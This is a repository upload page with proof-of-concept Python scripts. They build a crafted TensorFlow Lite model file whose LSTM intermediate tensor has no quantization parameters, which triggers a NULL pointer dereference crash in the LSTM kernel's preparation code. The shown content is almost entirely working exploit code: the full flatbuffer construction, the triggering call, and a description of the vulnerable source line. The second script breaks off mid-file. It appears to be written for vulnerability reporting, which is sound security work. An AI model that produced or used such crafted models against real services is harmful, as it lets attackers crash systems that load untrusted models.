Upload 4 files
Browse files- QQ_1778815208710.png +0 -0
- colab_poc.py +243 -0
- create_poc_model.py +438 -0
- poc_lstm_null_deref.tflite +3 -0
QQ_1778815208710.png
ADDED
|
colab_poc.py
ADDED
|
@@ -0,0 +1,243 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
Self-contained PoC for Google Colab.
|
| 4 |
+
Copy this entire file into a single Colab cell and run.
|
| 5 |
+
|
| 6 |
+
TFLite LSTM NULL pointer dereference DoS
|
| 7 |
+
Bug: PopulateQuantizedLstmParams8x8_8() in lstm.cc reads
|
| 8 |
+
intermediate tensor quantization.params without null check.
|
| 9 |
+
"""
|
| 10 |
+
|
| 11 |
+
# Step 1: Install flatbuffers (Colab has tensorflow pre-installed)
|
| 12 |
+
import subprocess, sys
|
| 13 |
+
subprocess.check_call([sys.executable, "-m", "pip", "install", "-q", "flatbuffers"])
|
| 14 |
+
|
| 15 |
+
# Step 2: Build the malicious model
|
| 16 |
+
import flatbuffers, os, tempfile
|
| 17 |
+
|
| 18 |
+
TFLITE_SCHEMA_VERSION = 3
|
| 19 |
+
TENSOR_TYPE_INT8 = 9
|
| 20 |
+
TENSOR_TYPE_INT16 = 7
|
| 21 |
+
TENSOR_TYPE_INT32 = 2
|
| 22 |
+
BUILTIN_OP_LSTM = 16
|
| 23 |
+
BUILTIN_OPTIONS_LSTM = 14 # union index in BuiltinOptions
|
| 24 |
+
|
| 25 |
+
def build_poc_model():
|
| 26 |
+
n_batch, n_input, n_cell, n_output = 1, 2, 2, 2
|
| 27 |
+
b = flatbuffers.Builder(8192)
|
| 28 |
+
|
| 29 |
+
# Strings
|
| 30 |
+
s_main = b.CreateString("main")
|
| 31 |
+
names = {}
|
| 32 |
+
for n in ["input","i2f_w","i2c_w","i2o_w","r2f_w","r2c_w","r2o_w",
|
| 33 |
+
"fg_bias","cg_bias","og_bias","output_state","cell_state","output"]:
|
| 34 |
+
names[n] = b.CreateString(n)
|
| 35 |
+
for i in range(12):
|
| 36 |
+
names[f"inter_{i}"] = b.CreateString(f"intermediate_{i}")
|
| 37 |
+
|
| 38 |
+
def make_int_vec(vals):
|
| 39 |
+
b.StartVector(4, len(vals), 4)
|
| 40 |
+
for v in reversed(vals): b.PrependInt32(v)
|
| 41 |
+
return b.EndVector()
|
| 42 |
+
|
| 43 |
+
def make_float_vec(vals):
|
| 44 |
+
b.StartVector(4, len(vals), 4)
|
| 45 |
+
for v in reversed(vals): b.PrependFloat32(v)
|
| 46 |
+
return b.EndVector()
|
| 47 |
+
|
| 48 |
+
def make_int64_vec(vals):
|
| 49 |
+
b.StartVector(8, len(vals), 8)
|
| 50 |
+
for v in reversed(vals): b.PrependInt64(v)
|
| 51 |
+
return b.EndVector()
|
| 52 |
+
|
| 53 |
+
def make_bool_vec(vals):
|
| 54 |
+
b.StartVector(1, len(vals), 1)
|
| 55 |
+
for v in reversed(vals): b.PrependBool(v)
|
| 56 |
+
return b.EndVector()
|
| 57 |
+
|
| 58 |
+
def make_quant(scale_val, zp_val=0):
|
| 59 |
+
sv = make_float_vec([scale_val])
|
| 60 |
+
zv = make_int64_vec([zp_val])
|
| 61 |
+
b.StartObject(7)
|
| 62 |
+
b.PrependUOffsetTRelativeSlot(2, sv, 0)
|
| 63 |
+
b.PrependUOffsetTRelativeSlot(3, zv, 0)
|
| 64 |
+
return b.EndObject()
|
| 65 |
+
|
| 66 |
+
def make_tensor(name_off, shape_off, ttype, buf_idx, quant_off=0, is_var=False):
|
| 67 |
+
b.StartObject(10)
|
| 68 |
+
b.PrependUOffsetTRelativeSlot(0, shape_off, 0)
|
| 69 |
+
b.PrependByteSlot(1, ttype, 0)
|
| 70 |
+
b.PrependUint32Slot(2, buf_idx, 0)
|
| 71 |
+
b.PrependUOffsetTRelativeSlot(3, name_off, 0)
|
| 72 |
+
if quant_off: b.PrependUOffsetTRelativeSlot(4, quant_off, 0)
|
| 73 |
+
if is_var: b.PrependBoolSlot(5, True, False)
|
| 74 |
+
return b.EndObject()
|
| 75 |
+
|
| 76 |
+
# Shapes
|
| 77 |
+
sh_in = make_int_vec([n_batch, n_input])
|
| 78 |
+
sh_wi = make_int_vec([n_cell, n_input])
|
| 79 |
+
sh_wr = make_int_vec([n_cell, n_output])
|
| 80 |
+
sh_b = make_int_vec([n_cell])
|
| 81 |
+
sh_os = make_int_vec([n_batch, n_output])
|
| 82 |
+
sh_cs = make_int_vec([n_batch, n_cell])
|
| 83 |
+
sh_out= make_int_vec([n_batch, n_output])
|
| 84 |
+
sh_it = make_int_vec([1])
|
| 85 |
+
|
| 86 |
+
# Quantization
|
| 87 |
+
q_in = make_quant(0.1)
|
| 88 |
+
q_w = make_quant(0.01)
|
| 89 |
+
q_os = make_quant(0.1)
|
| 90 |
+
q_cs = make_quant(1.0/32768)
|
| 91 |
+
q_o = make_quant(0.1)
|
| 92 |
+
q_it = make_quant(0.01)
|
| 93 |
+
|
| 94 |
+
# Tensors
|
| 95 |
+
tensors = []
|
| 96 |
+
tensors.append(make_tensor(names["input"], sh_in, TENSOR_TYPE_INT8, 1, q_in))
|
| 97 |
+
for n in ["i2f_w","i2c_w","i2o_w"]:
|
| 98 |
+
tensors.append(make_tensor(names[n], sh_wi, TENSOR_TYPE_INT8, len(tensors)+1, q_w))
|
| 99 |
+
for n in ["r2f_w","r2c_w","r2o_w"]:
|
| 100 |
+
tensors.append(make_tensor(names[n], sh_wr, TENSOR_TYPE_INT8, len(tensors)+1, q_w))
|
| 101 |
+
for n in ["fg_bias","cg_bias","og_bias"]:
|
| 102 |
+
tensors.append(make_tensor(names[n], sh_b, TENSOR_TYPE_INT32, len(tensors)+1))
|
| 103 |
+
tensors.append(make_tensor(names["output_state"], sh_os, TENSOR_TYPE_INT8, 11, q_os, is_var=True))
|
| 104 |
+
tensors.append(make_tensor(names["cell_state"], sh_cs, TENSOR_TYPE_INT16, 12, q_cs, is_var=True))
|
| 105 |
+
tensors.append(make_tensor(names["output"], sh_out, TENSOR_TYPE_INT8, 13, q_o))
|
| 106 |
+
|
| 107 |
+
# 12 intermediates: inter_0 has NO quantization (triggers NULL deref)
|
| 108 |
+
for i in range(12):
|
| 109 |
+
if i == 0:
|
| 110 |
+
tensors.append(make_tensor(names[f"inter_{i}"], sh_it, TENSOR_TYPE_INT16, 14+i))
|
| 111 |
+
else:
|
| 112 |
+
tensors.append(make_tensor(names[f"inter_{i}"], sh_it, TENSOR_TYPE_INT16, 14+i, q_it))
|
| 113 |
+
|
| 114 |
+
b.StartVector(4, len(tensors), 4)
|
| 115 |
+
for t in reversed(tensors): b.PrependUOffsetTRelative(t)
|
| 116 |
+
tensors_vec = b.EndVector()
|
| 117 |
+
|
| 118 |
+
# LSTMOptions
|
| 119 |
+
b.StartObject(5)
|
| 120 |
+
b.PrependByteSlot(0, 0, 0) # activation=NONE
|
| 121 |
+
b.PrependFloat32Slot(1, 0.0, 0.0) # cell_clip
|
| 122 |
+
b.PrependFloat32Slot(2, 0.0, 0.0) # proj_clip
|
| 123 |
+
b.PrependByteSlot(3, 0, 0) # kernel_type=FULL
|
| 124 |
+
b.PrependBoolSlot(4, False, False)
|
| 125 |
+
lstm_opts = b.EndObject()
|
| 126 |
+
|
| 127 |
+
# Operator
|
| 128 |
+
op_ins = make_int_vec([0,-1,1,2,3,-1,4,5,6,-1,-1,-1,-1,7,8,9,-1,-1,10,11,-1,-1,-1,-1])
|
| 129 |
+
op_outs = make_int_vec([12])
|
| 130 |
+
op_inters = make_int_vec(list(range(13, 25)))
|
| 131 |
+
mut = [False]*24; mut[18]=True; mut[19]=True
|
| 132 |
+
op_mut = make_bool_vec(mut)
|
| 133 |
+
|
| 134 |
+
b.StartObject(14)
|
| 135 |
+
b.PrependUint32Slot(0, 0, 0)
|
| 136 |
+
b.PrependUOffsetTRelativeSlot(1, op_ins, 0)
|
| 137 |
+
b.PrependUOffsetTRelativeSlot(2, op_outs, 0)
|
| 138 |
+
b.PrependByteSlot(3, BUILTIN_OPTIONS_LSTM, 0)
|
| 139 |
+
b.PrependUOffsetTRelativeSlot(4, lstm_opts, 0)
|
| 140 |
+
b.PrependUOffsetTRelativeSlot(7, op_mut, 0)
|
| 141 |
+
b.PrependUOffsetTRelativeSlot(8, op_inters, 0)
|
| 142 |
+
operator = b.EndObject()
|
| 143 |
+
|
| 144 |
+
b.StartVector(4, 1, 4)
|
| 145 |
+
b.PrependUOffsetTRelative(operator)
|
| 146 |
+
ops_vec = b.EndVector()
|
| 147 |
+
|
| 148 |
+
# SubGraph
|
| 149 |
+
sg_in = make_int_vec([0])
|
| 150 |
+
sg_out = make_int_vec([12])
|
| 151 |
+
b.StartObject(5)
|
| 152 |
+
b.PrependUOffsetTRelativeSlot(0, tensors_vec, 0)
|
| 153 |
+
b.PrependUOffsetTRelativeSlot(1, sg_in, 0)
|
| 154 |
+
b.PrependUOffsetTRelativeSlot(2, sg_out, 0)
|
| 155 |
+
b.PrependUOffsetTRelativeSlot(3, ops_vec, 0)
|
| 156 |
+
b.PrependUOffsetTRelativeSlot(4, s_main, 0)
|
| 157 |
+
sg = b.EndObject()
|
| 158 |
+
|
| 159 |
+
b.StartVector(4, 1, 4)
|
| 160 |
+
b.PrependUOffsetTRelative(sg)
|
| 161 |
+
sgs_vec = b.EndVector()
|
| 162 |
+
|
| 163 |
+
# OperatorCode
|
| 164 |
+
b.StartObject(4)
|
| 165 |
+
b.PrependByteSlot(0, BUILTIN_OP_LSTM, 0)
|
| 166 |
+
b.PrependInt32Slot(2, 1, 1)
|
| 167 |
+
b.PrependInt32Slot(3, BUILTIN_OP_LSTM, 0)
|
| 168 |
+
oc = b.EndObject()
|
| 169 |
+
|
| 170 |
+
b.StartVector(4, 1, 4)
|
| 171 |
+
b.PrependUOffsetTRelative(oc)
|
| 172 |
+
ocs_vec = b.EndVector()
|
| 173 |
+
|
| 174 |
+
# Buffers
|
| 175 |
+
weight_data = bytes(n_cell * n_input) # 4 bytes
|
| 176 |
+
bias_data = bytes(n_cell * 4) # 8 bytes
|
| 177 |
+
data_vecs = {}
|
| 178 |
+
for bi in range(2, 8):
|
| 179 |
+
b.StartVector(1, len(weight_data), 1)
|
| 180 |
+
for byte in reversed(weight_data): b.PrependByte(byte)
|
| 181 |
+
data_vecs[bi] = b.EndVector()
|
| 182 |
+
for bi in range(8, 11):
|
| 183 |
+
b.StartVector(1, len(bias_data), 1)
|
| 184 |
+
for byte in reversed(bias_data): b.PrependByte(byte)
|
| 185 |
+
data_vecs[bi] = b.EndVector()
|
| 186 |
+
|
| 187 |
+
bufs = []
|
| 188 |
+
for bi in range(26):
|
| 189 |
+
if bi in data_vecs:
|
| 190 |
+
b.StartObject(1)
|
| 191 |
+
b.PrependUOffsetTRelativeSlot(0, data_vecs[bi], 0)
|
| 192 |
+
bufs.append(b.EndObject())
|
| 193 |
+
else:
|
| 194 |
+
b.StartObject(1)
|
| 195 |
+
bufs.append(b.EndObject())
|
| 196 |
+
|
| 197 |
+
b.StartVector(4, 26, 4)
|
| 198 |
+
for buf in reversed(bufs): b.PrependUOffsetTRelative(buf)
|
| 199 |
+
bufs_vec = b.EndVector()
|
| 200 |
+
|
| 201 |
+
# Model
|
| 202 |
+
b.StartObject(8)
|
| 203 |
+
b.PrependUint32Slot(0, TFLITE_SCHEMA_VERSION, 0)
|
| 204 |
+
b.PrependUOffsetTRelativeSlot(1, ocs_vec, 0)
|
| 205 |
+
b.PrependUOffsetTRelativeSlot(2, sgs_vec, 0)
|
| 206 |
+
b.PrependUOffsetTRelativeSlot(4, bufs_vec, 0)
|
| 207 |
+
model = b.EndObject()
|
| 208 |
+
b.Finish(model, b"TFL3")
|
| 209 |
+
return bytes(b.Output())
|
| 210 |
+
|
| 211 |
+
# ============================================================
|
| 212 |
+
# CELL 1: Build model and download it (run this first!)
|
| 213 |
+
# ============================================================
|
| 214 |
+
model_bytes = build_poc_model()
|
| 215 |
+
model_path = "/tmp/poc_lstm_null_deref.tflite"
|
| 216 |
+
with open(model_path, "wb") as f:
|
| 217 |
+
f.write(model_bytes)
|
| 218 |
+
print(f"[+] Model: {model_path} ({len(model_bytes)} bytes)")
|
| 219 |
+
print(f"[+] 12 intermediates, inter[0] has NO quantization -> NULL deref")
|
| 220 |
+
|
| 221 |
+
# Download the model file before crashing the kernel
|
| 222 |
+
try:
|
| 223 |
+
from google.colab import files
|
| 224 |
+
files.download(model_path)
|
| 225 |
+
print("[+] Model downloaded! Now run Cell 2 to trigger crash.")
|
| 226 |
+
except ImportError:
|
| 227 |
+
print("[*] Not on Colab, model saved to:", model_path)
|
| 228 |
+
|
| 229 |
+
# ============================================================
|
| 230 |
+
# CELL 2: Trigger the crash (run this AFTER downloading model)
|
| 231 |
+
# Put everything below this line in a SEPARATE Colab cell.
|
| 232 |
+
# ============================================================
|
| 233 |
+
# import tensorflow as tf
|
| 234 |
+
# print(f"[*] TensorFlow version: {tf.__version__}")
|
| 235 |
+
# print(f"[*] Loading model and calling allocate_tensors()...")
|
| 236 |
+
# print(f"[*] Expected: crash in PopulateQuantizedLstmParams8x8_8()")
|
| 237 |
+
# try:
|
| 238 |
+
# interpreter = tf.lite.Interpreter(model_path="/tmp/poc_lstm_null_deref.tflite")
|
| 239 |
+
# interpreter.allocate_tensors()
|
| 240 |
+
# print("[!] No crash - bug may be fixed or model didn't hit the right path")
|
| 241 |
+
# except Exception as e:
|
| 242 |
+
# print(f"[!] Exception (not a crash): {type(e).__name__}: {e}")
|
| 243 |
+
# print("[*] If the kernel died/restarted above, NULL deref triggered successfully.")
|
create_poc_model.py
ADDED
|
@@ -0,0 +1,438 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: TFLite LSTM NULL pointer dereference -> DoS (SIGSEGV)
|
| 4 |
+
|
| 5 |
+
Bug: PopulateQuantizedLstmParams8x8_8() in lstm.cc (line ~674) reads
|
| 6 |
+
intermediate tensors' quantization.params without null check:
|
| 7 |
+
|
| 8 |
+
auto* params = reinterpret_cast<TfLiteAffineQuantization*>(
|
| 9 |
+
intermediate->quantization.params);
|
| 10 |
+
intermediate_scale.push_back(params->scale->data[0]); // NULL deref!
|
| 11 |
+
|
| 12 |
+
When an intermediate tensor has no QuantizationParameters in the flatbuffer,
|
| 13 |
+
quantization.params is NULL -> SIGSEGV at params->scale dereference.
|
| 14 |
+
|
| 15 |
+
Contrast with the sibling function PopulateQuantizedLstmParams8x8_16()
|
| 16 |
+
which uses GetIntermediatesSafe() - the 8x8_8 path skips this safe accessor.
|
| 17 |
+
|
| 18 |
+
Trigger: int8 quantized LSTM with 12 intermediate tensors (8x8->8 path),
|
| 19 |
+
where at least one intermediate lacks quantization metadata.
|
| 20 |
+
|
| 21 |
+
Builds .tflite flatbuffer directly (only needs `pip install flatbuffers`).
|
| 22 |
+
"""
|
| 23 |
+
import sys
|
| 24 |
+
import os
|
| 25 |
+
import struct
|
| 26 |
+
|
| 27 |
+
# TFLite schema constants
|
| 28 |
+
TFLITE_SCHEMA_VERSION = 3
|
| 29 |
+
|
| 30 |
+
# TensorType enum
|
| 31 |
+
TENSOR_TYPE_INT8 = 9
|
| 32 |
+
TENSOR_TYPE_INT16 = 7
|
| 33 |
+
TENSOR_TYPE_INT32 = 2
|
| 34 |
+
|
| 35 |
+
# BuiltinOperator enum
|
| 36 |
+
BUILTIN_OP_LSTM = 16
|
| 37 |
+
|
| 38 |
+
# BuiltinOptions union index for LSTMOptions
|
| 39 |
+
BUILTIN_OPTIONS_LSTM = 14
|
| 40 |
+
|
| 41 |
+
# ActivationFunctionType
|
| 42 |
+
ACTIVATION_NONE = 0
|
| 43 |
+
|
| 44 |
+
# LSTMKernelType
|
| 45 |
+
LSTM_KERNEL_FULL = 0
|
| 46 |
+
|
| 47 |
+
# LSTM input tensor indices (24-input full kernel)
|
| 48 |
+
LSTM_INPUT_NAMES = [
|
| 49 |
+
"input", # 0
|
| 50 |
+
"input_to_input_weights", # 1 (optional, CIFG)
|
| 51 |
+
"input_to_forget_weights", # 2
|
| 52 |
+
"input_to_cell_weights", # 3
|
| 53 |
+
"input_to_output_weights", # 4
|
| 54 |
+
"recurrent_to_input_weights", # 5 (optional, CIFG)
|
| 55 |
+
"recurrent_to_forget_weights", # 6
|
| 56 |
+
"recurrent_to_cell_weights", # 7
|
| 57 |
+
"recurrent_to_output_weights", # 8
|
| 58 |
+
"cell_to_input_weights", # 9 (optional)
|
| 59 |
+
"cell_to_forget_weights", # 10 (optional)
|
| 60 |
+
"cell_to_output_weights", # 11 (optional)
|
| 61 |
+
"input_gate_bias", # 12 (optional, CIFG)
|
| 62 |
+
"forget_gate_bias", # 13
|
| 63 |
+
"cell_gate_bias", # 14
|
| 64 |
+
"output_gate_bias", # 15
|
| 65 |
+
"projection_weights", # 16 (optional)
|
| 66 |
+
"projection_bias", # 17 (optional)
|
| 67 |
+
"output_state", # 18 (variable)
|
| 68 |
+
"cell_state", # 19 (variable)
|
| 69 |
+
"input_layer_norm_coefficients", # 20 (optional)
|
| 70 |
+
"forget_layer_norm_coefficients", # 21 (optional)
|
| 71 |
+
"cell_layer_norm_coefficients", # 22 (optional)
|
| 72 |
+
"output_layer_norm_coefficients", # 23 (optional)
|
| 73 |
+
]
|
| 74 |
+
|
| 75 |
+
|
| 76 |
+
def create_poc_model(output_path, n_batch=1, n_input=2, n_cell=2, n_output=2):
|
| 77 |
+
"""Build minimal .tflite with int8 LSTM op that triggers NULL deref.
|
| 78 |
+
|
| 79 |
+
The model has 12 intermediate tensors (8x8->8 path), but intermediate[0]
|
| 80 |
+
has NO quantization parameters -> NULL pointer dereference in Prepare().
|
| 81 |
+
"""
|
| 82 |
+
import flatbuffers
|
| 83 |
+
|
| 84 |
+
b = flatbuffers.Builder(8192)
|
| 85 |
+
|
| 86 |
+
# =========================================================================
|
| 87 |
+
# Pre-build strings (must be created before any table starts)
|
| 88 |
+
# =========================================================================
|
| 89 |
+
s_main = b.CreateString("main")
|
| 90 |
+
tensor_names = {}
|
| 91 |
+
# Regular tensors
|
| 92 |
+
for name in ["input", "i2f_w", "i2c_w", "i2o_w",
|
| 93 |
+
"r2f_w", "r2c_w", "r2o_w",
|
| 94 |
+
"fg_bias", "cg_bias", "og_bias",
|
| 95 |
+
"output_state", "cell_state", "output"]:
|
| 96 |
+
tensor_names[name] = b.CreateString(name)
|
| 97 |
+
# Intermediate tensors
|
| 98 |
+
for i in range(12):
|
| 99 |
+
tensor_names[f"inter_{i}"] = b.CreateString(f"intermediate_{i}")
|
| 100 |
+
|
| 101 |
+
# =========================================================================
|
| 102 |
+
# Helper: create int vector
|
| 103 |
+
# =========================================================================
|
| 104 |
+
def make_int_vec(vals):
|
| 105 |
+
b.StartVector(4, len(vals), 4)
|
| 106 |
+
for v in reversed(vals):
|
| 107 |
+
b.PrependInt32(v)
|
| 108 |
+
return b.EndVector()
|
| 109 |
+
|
| 110 |
+
# =========================================================================
|
| 111 |
+
# Helper: create float vector
|
| 112 |
+
# =========================================================================
|
| 113 |
+
def make_float_vec(vals):
|
| 114 |
+
b.StartVector(4, len(vals), 4)
|
| 115 |
+
for v in reversed(vals):
|
| 116 |
+
b.PrependFloat32(v)
|
| 117 |
+
return b.EndVector()
|
| 118 |
+
|
| 119 |
+
# =========================================================================
|
| 120 |
+
# Helper: create int64 vector (for zero_point in quantization)
|
| 121 |
+
# =========================================================================
|
| 122 |
+
def make_int64_vec(vals):
|
| 123 |
+
b.StartVector(8, len(vals), 8)
|
| 124 |
+
for v in reversed(vals):
|
| 125 |
+
b.PrependInt64(v)
|
| 126 |
+
return b.EndVector()
|
| 127 |
+
|
| 128 |
+
# =========================================================================
|
| 129 |
+
# Helper: create bool vector
|
| 130 |
+
# =========================================================================
|
| 131 |
+
def make_bool_vec(vals):
|
| 132 |
+
b.StartVector(1, len(vals), 1)
|
| 133 |
+
for v in reversed(vals):
|
| 134 |
+
b.PrependBool(v)
|
| 135 |
+
return b.EndVector()
|
| 136 |
+
|
| 137 |
+
# =========================================================================
|
| 138 |
+
# Helper: create QuantizationParameters table
|
| 139 |
+
# =========================================================================
|
| 140 |
+
def make_quant(scale_val, zp_val=0):
|
| 141 |
+
"""Build a QuantizationParameters table with given scale and zero_point."""
|
| 142 |
+
scale_vec = make_float_vec([scale_val])
|
| 143 |
+
zp_vec = make_int64_vec([zp_val])
|
| 144 |
+
# QuantizationParameters: 7 slots (0=min,1=max,2=scale,3=zero_point,
|
| 145 |
+
# 4=details_type,5=details,6=quantized_dimension)
|
| 146 |
+
b.StartObject(7)
|
| 147 |
+
b.PrependUOffsetTRelativeSlot(2, scale_vec, 0) # scale
|
| 148 |
+
b.PrependUOffsetTRelativeSlot(3, zp_vec, 0) # zero_point
|
| 149 |
+
return b.EndObject()
|
| 150 |
+
|
| 151 |
+
# =========================================================================
|
| 152 |
+
# Helper: create Tensor table
|
| 153 |
+
# =========================================================================
|
| 154 |
+
def make_tensor(name_off, shape_off, tensor_type, buf_idx,
|
| 155 |
+
quant_off=0, is_variable=False):
|
| 156 |
+
"""Build a Tensor table.
|
| 157 |
+
|
| 158 |
+
Tensor has 10+ fields:
|
| 159 |
+
0=shape, 1=type, 2=buffer, 3=name, 4=quantization,
|
| 160 |
+
5=is_variable, 6=sparsity, 7=shape_signature, 8=has_rank,
|
| 161 |
+
9=variant_tensors
|
| 162 |
+
"""
|
| 163 |
+
b.StartObject(10)
|
| 164 |
+
b.PrependUOffsetTRelativeSlot(0, shape_off, 0) # shape
|
| 165 |
+
b.PrependByteSlot(1, tensor_type, 0) # type
|
